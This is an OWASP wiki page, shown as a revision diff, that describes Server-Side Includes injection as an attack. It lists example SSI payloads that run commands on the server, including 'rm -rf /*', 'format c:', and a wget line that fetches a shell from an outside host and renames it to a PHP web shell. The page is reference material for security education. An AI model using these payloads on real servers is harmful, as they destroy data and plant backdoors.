Difference between revisions of "Server-Side Includes (SSI) Injection"

From OWASP
Jump to: navigation, search
m (Examples)
(Related Threats)
Line 17: Line 17:
  
 
==Related Threats==
 
==Related Threats==
 +
Remote Command Execution<br>
 +
Local File Inclusion
  
 
==Related Attacks==
 
==Related Attacks==

Revision as of 14:22, 29 April 2007

This is an Attack. To view all attacks, please see the Attack Category page.


Description

SSI can be injected in to input fields where code is echo'd out and attackers are able to execute commands.

Examples

Linux
List Files - < !--#exec cmd="ls" -->
Remove All - < !--#exec cmd="rm -rf /*" -->
Navigate Directories - < !--#exec cmd="cd /root/dir/" --><br> Plant Shell - < !--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows
List Files - < !--#exec cmd="dir" -->
Remove All - < !--#exec cmd="format c:" -->
Navigate Directories - < !--#exec cmd="cd C:\admin\dir" -->

Related Threats

Remote Command Execution
Local File Inclusion

Related Attacks

Related Vulnerabilities

Related Countermeasures

Categories

This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.